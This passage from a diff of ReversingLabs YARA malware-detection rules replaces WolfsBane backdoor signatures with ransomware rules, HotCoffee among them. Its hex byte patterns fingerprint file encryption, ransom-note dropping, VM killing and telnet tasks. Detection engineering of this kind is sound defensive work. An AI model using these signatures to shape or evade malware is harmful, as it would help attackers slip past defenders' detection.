24 ?? E9 ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 35 ?? ?? - ?? ?? 66 90 E9 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 0F 1F 44 00 + $encrypt_files_p1 = { + 41 57 48 89 F8 41 56 41 55 41 54 55 53 48 83 EC ?? 48 89 7C 24 ?? 66 2E 0F 1F 84 00 + ?? ?? 00 00 48 8B 78 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 72 ?? 48 8B 7A ?? E8 ?? + ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 30 4C 8B 68 ?? 48 85 F6 0F + 84 ?? ?? ?? ?? 48 89 F7 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 + 89 44 24 ?? 48 89 C7 31 C0 E8 ?? ?? ?? ?? 85 C0 89 C3 0F 88 ?? ?? ?? ?? 49 81 FD ?? + ?? ?? ?? B8 ?? ?? ?? ?? 41 BF ?? ?? ?? ?? 44 0F 4C F8 BA ?? ?? ?? ?? 49 8D 85 ?? ?? + ?? ?? BD ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 4C EA B2 ?? 44 0F 4C E2 + 48 3D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 0F 46 EA 44 0F 46 FA 44 0F 46 E0 + BA ?? ?? ?? ?? 49 81 FD ?? ?? ?? ?? B8 ?? ?? ?? ?? 45 0F 4E E5 48 0F 4E EA 44 0F 4E + F8 E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 45 89 E4 48 89 C7 BE ?? + ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 4C 89 } - $network_communication_tcp_p1 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 89 DF BB ?? ?? ?? ?? 48 89 C2 48 8D 05 ?? ?? ?? ?? 48 89 D1 E8 - ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? 48 89 - 4C 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B - 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? - ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 49 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 - 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF - ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 90 48 8D 05 ?? ?? - ?? ?? 66 90 E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 50 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 - 8B 54 24 ?? 48 89 10 90 EB ?? 48 89 C7 48 8B 54 24 ?? E8 ?? ?? ?? ?? 31 DB 48 8D 0D - ?? ?? ?? ?? 48 89 C7 31 C0 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 5C + $encrypt_files_p2 = { + EA 49 89 C4 4C 89 E8 48 C1 FA ?? 45 31 ED 48 F7 FD 31 ED 48 89 44 24 ?? 0F 1F 40 ?? + 31 D2 48 89 EE 89 DF E8 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 E6 89 DF 41 83 C5 ?? E8 ?? + ?? ?? ?? 48 8B 7C 24 ?? 48 8D 54 24 ?? 31 C9 41 89 C1 4D 89 E0 BE ?? ?? ?? ?? 41 89 + C6 E8 ?? ?? ?? ?? 31 D2 48 89 EE 89 DF E8 ?? ?? ?? ?? 44 89 F2 4C 89 E6 89 DF E8 ?? + ?? ?? ?? 48 03 6C 24 ?? 45 39 EF 7F ?? 31 F6 BA ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 + 8B 74 24 ?? BA ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? + E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 74 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 4D 85 E4 74 ?? + 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 74 ?? 48 8B + 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 30 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? + 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 8B 54 24 + ?? 48 8B 32 EB ?? 66 0F 1F 44 00 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F } - $network_communication_tcp_p2 = { - 24 ?? 48 89 44 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 - 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 31 C0 48 - 8D 5C 24 ?? B9 ?? ?? ?? ?? 48 89 CF E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 0F 1F 40 ?? - E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 48 8B 4C 24 ?? 48 89 48 ?? 83 3D ?? ?? - ?? ?? ?? 90 75 ?? 48 8B 54 24 ?? 48 89 50 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 58 ?? EB - ?? 48 8D 78 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8D 78 ?? 48 8B 9C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 31 C9 31 FF 48 8B AC 24 ?? - ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? E8 ?? - ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 + $drop_ransom_note = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 49 89 FC 48 83 EC ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 00 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? BE ?? ?? ?? + ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 89 C7 48 8B 15 ?? ?? ?? ?? 48 89 C3 31 C0 E8 + ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 89 DF 48 89 C5 E8 ?? ?? ?? ?? 4C 8D 6C 05 ?? + 31 ED 4D 85 ED 74 ?? 4C 89 EF E8 ?? ?? ?? ?? 4C 89 EA 31 F6 48 89 C7 48 89 C5 E8 ?? + ?? ?? ?? 4C 89 E6 48 89 EF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 + 89 DE 48 89 EF C6 40 ?? ?? E8 ?? ?? ?? ?? 31 F6 48 89 EF E8 ?? ?? ?? ?? 85 C0 75 ?? + 48 85 ED 74 ?? 48 89 EF E8 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48 89 DF 48 8B 6C + 24 ?? 48 8B 5C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? E9 ?? ?? ?? ?? 66 0F + 1F 44 00 ?? 48 89 EF BA ?? ?? ?? ?? BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 3D ?? + ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 31 C0 31 C9 BA ?? ?? ?? ?? 41 89 C4 48 89 FE E8 ?? ?? + ?? ?? 48 8B 40 ?? 4C 8B 68 ?? 4C 89 EF E8 ?? ?? ?? ?? 44 89 E7 48 89 C2 4C 89 EE E8 + ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 48 8B 5C 24 + ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? C3 } - $telnet_task_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC - 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? - ?? 4C 89 54 24 ?? 4C 89 5C 24 ?? 48 89 9C 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 4C - 89 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4F ?? 48 89 F0 FF D1 48 89 C3 31 - C0 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 - ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? - 48 8D 8C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? - 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 90 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? - 48 89 4C 24 ?? 48 B9 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 4C 24 ?? 90 48 C7 44 24 ?? ?? ?? - ?? ?? C6 44 24 ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 48 8D 05 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 48 8B 8C 24 ?? ?? ?? ?? 48 89 - 48 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 50 ?? 48 8B 54 24 ?? - 48 89 50 ?? EB ?? 48 8D 78 ?? 48 8B 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 78 ?? 48 - 8B 54 24 ?? E8 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 94 24 ?? - ?? ?? ?? 48 8D 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 C3 48 8D 8C 24 ?? ?? ?? ?? BF - ?? ?? ?? ?? 48 89 FE 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 94 24 ?? ?? - ?? ?? 48 85 D2 74 ?? 48 8B 8C 24 ?? ?? ?? ?? 31 DB E9 ?? ?? ?? ?? 44 0F 11 7C 24 + $kill_virtual_machines_p1 = { + 41 57 31 C0 B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 89 FD 53 48 81 EC ?? ?? ?? ?? 48 89 + E7 48 89 E3 F3 48 AB C6 07 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 F6 48 + 89 C7 49 89 C4 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 89 C1 BE ?? ?? ?? ?? 49 89 C5 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 41 BF ?? ?? ?? + ?? EB ?? 90 83 FD ?? 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 + 89 DF E8 ?? ?? ?? ?? 4C 89 F6 48 89 DF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? + ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 49 8D 7D ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 + 0F 84 ?? ?? ?? ?? 4C 8D 70 ?? BE ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 89 DF C6 00 + ?? 49 89 C5 4C 89 F9 31 C0 83 FD ?? F3 48 AB 48 8B 05 ?? ?? ?? ?? 48 89 03 48 8B 05 + ?? ?? ?? ?? 48 89 43 ?? 48 8B 05 ?? ?? ?? ?? 48 89 43 ?? 8B 05 ?? ?? ?? ?? 89 43 } - $telnet_task_p2 = { - 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8B 1D ?? - ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? - 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 8B - 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 1D ?? ?? ?? ?? 0F 1F 40 ?? E8 ?? ?? ?? - ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 74 24 ?? 48 83 C6 ?? 48 89 - CB 48 89 F1 48 89 5C 24 ?? 48 89 4C 24 ?? 0F 10 01 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 - ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 ?? 0F 11 84 - 24 ?? ?? ?? ?? 48 8B 44 24 ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? - 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 - ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8D 1D - ?? ?? ?? ?? 48 89 C1 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 94 - 24 ?? ?? ?? ?? 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 - ?? 48 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 4C 89 - 54 24 ?? 4C 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? - 48 8B 7C 24 ?? 48 8B 74 24 ?? 4C 8B 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 + $kill_virtual_machines_p2 = { + 0F B7 05 ?? ?? ?? ?? 66 89 43 ?? 0F B6 05 ?? ?? ?? ?? 88 43 ?? 0F 85 ?? ?? ?? ?? 48 + 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 C1 + EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 ?? C7 01 ?? ?? + ?? ?? C6 41 ?? ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 48 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? + ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 + 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 ?? C7 01 ?? ?? ?? ?? C6 41 ?? ?? E9 ?? ?? ?? ?? + 0F 1F 40 ?? 48 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? + 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 + ?? C7 01 ?? ?? ?? ?? 66 C7 41 ?? ?? ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 + 4D 85 E4 74 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E + 41 5F C3 } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $get_local_address_p* ) ) and ( all of ( $get_mac_address_p* ) ) and ( all of ( $network_communication_tcp_p* ) ) and ( all of ( $telnet_task_p* ) ) + uint32( 0 ) == 0x464C457F and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) and ( all of ( $kill_virtual_machines_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Wolfsbane : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Hotcoffee : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects WolfsBane backdoor." + description = "Yara rule that detects HotCoffee ransomware." author = "ReversingLabs" - id = "07b96e74-8ad1-5400-a23c-c14fea78ecdd" - date = "2025-03-17" - modified = "2025-03-17" + id = "11b26b91-96ae-58d3-8a8a-02a3e7d0b82e" + date = "2021-11-25" + modified = "2021-11-25" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.WolfsBane.yara#L1-L124" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.HotCoffee.yara#L1-L111" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c2bc992375bfa989c2a18a52e09c551cd6dfefda8fb96e7af4dabfead76e784f" + logic_hash = "15ae428c37fcc5a09d324fd9be5a8df3a812e6459cb1ce8eec56eabf785b4c05" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "WolfsBane" + tc_detection_type = "Ransomware" + tc_detection_name = "HotCoffee" tc_detection_factor = 5 importance = 25 strings: - $load_embedded_library = { - 41 57 41 56 41 55 41 54 49 89 FC 55 53 48 89 F3 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 - C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 48 C7 47 ?? ?? ?? ?? ?? 48 C7 47 ?? ?? ?? - ?? ?? C7 47 ?? ?? ?? ?? ?? 48 83 C0 ?? 48 C7 47 ?? ?? ?? ?? ?? 48 89 07 48 8D 47 ?? - 48 89 47 ?? 48 89 47 ?? 48 8D 47 ?? 48 89 47 ?? 48 89 47 ?? 48 8B 06 48 39 46 ?? 0F - 84 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? BF ?? ?? ?? ?? 49 89 E5 49 8D 47 ?? 48 89 44 24 - ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 58 ?? 48 8B 1D ?? ?? ?? ?? 48 C7 40 ?? - ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 83 C2 ?? 48 89 44 24 ?? 48 C7 44 - 24 ?? ?? ?? ?? ?? 48 89 10 48 8D 43 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? - ?? ?? ?? 48 89 04 24 48 8D 43 ?? 48 89 44 24 ?? 48 89 E0 48 03 03 48 8B 50 ?? 48 39 - 50 ?? 0F 84 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 4C 8D 74 24 ?? 48 8D 54 24 ?? 4C 89 F7 - 48 8B 70 ?? 31 C0 80 3E ?? 0F 94 C0 48 01 C6 E8 ?? ?? ?? ?? 48 8B 04 24 4C 89 ED 48 - 03 68 ?? 48 8B 7D ?? 48 3B 7D ?? 0F 84 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 4C 89 - F6 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 8D - 43 ?? 48 8B 7C 24 ?? 48 89 04 24 49 8D 47 ?? 48 85 FF 48 89 44 24 ?? 74 ?? 48 8B 07 - FF 50 ?? 48 8B 6C 24 ?? 48 8B 5C 24 ?? 48 39 DD 74 ?? 66 0F 1F 44 00 ?? 48 89 DF E8 - ?? ?? ?? ?? 48 83 C3 ?? 48 39 DD 75 ?? 48 8B 6C 24 ?? 48 85 ED 74 ?? 48 89 EF E8 ?? - ?? ?? ?? 48 83 C4 ?? 4C 89 E0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $find_files = { + 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0 + 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ?? + ?? 4C 2B C9 0F 1F 44 00 ?? 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 + 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 89 30 + 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? 48 8D 44 24 ?? + 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ?? + ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B 4C 24 ?? 48 3B + C8 74 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 66 39 30 74 ?? 48 83 + C0 ?? 48 83 E9 ?? 75 ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 + BA ?? ?? ?? ?? 48 2B D0 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 + 03 C2 4C 8D 0D ?? ?? ?? ?? 4C 2B C9 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? + 66 44 89 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 + 66 89 30 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 89 + 44 24 ?? 48 83 F8 ?? 75 ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 8D + ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 + 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 } - $decrypt_embedded_library_1 = { - 41 57 41 56 41 55 41 54 55 48 89 F5 53 48 89 FB 48 81 EC ?? ?? ?? ?? 48 8B 77 ?? 48 - 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? - 48 8B 84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 39 45 ?? 0F - 84 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? - 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E2 48 89 C7 48 - 89 44 24 ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 39 84 - 24 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8D BC - 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 83 C0 ?? 48 83 C2 ?? 48 89 84 24 ?? ?? ?? - ?? 48 89 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8B 23 48 89 94 24 ?? ?? ?? ?? - 4C 89 E7 E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 63 ?? 4C - 89 E7 E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 4C 89 E6 E8 ?? ?? ?? ?? 48 8B 5B ?? 48 89 - DF E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 48 89 DE E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 EE - E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 4C 89 FE 48 C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 DF 48 C7 84 24 ?? - ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 DE - 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? - ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 - C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 C7 48 89 44 24 ?? E8 + $encrypt_files_p1 = { + B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 90 66 83 38 ?? 74 ?? 48 83 C0 ?? 48 83 E9 ?? 75 + ?? 48 85 C9 74 ?? 41 B8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 2B C1 BA ?? ?? ?? ?? 48 + 85 C9 4C 0F 44 C3 4A 8D 04 40 49 2B D0 74 ?? 49 8D 88 ?? ?? ?? ?? 48 03 CA 4C 8D 0D + ?? ?? ?? ?? 4C 2B C8 66 90 48 85 C9 74 ?? 45 0F B7 04 01 66 45 85 C0 74 ?? 66 44 89 + 00 48 FF C9 48 83 C0 ?? 48 83 EA ?? 75 ?? 48 85 D2 48 8D 48 ?? 48 0F 45 C8 66 89 19 + 48 89 5C 24 ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 44 8B C7 8B D7 C7 44 24 ?? ?? ?? ?? + ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D + 8D ?? ?? ?? ?? 44 8B C7 C7 44 24 ?? ?? ?? ?? ?? 48 8B F0 41 8D 51 ?? FF 15 ?? ?? ?? + ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? + ?? ?? ?? 4C 8B F0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 41 B9 ?? + ?? ?? ?? C7 44 24 ?? 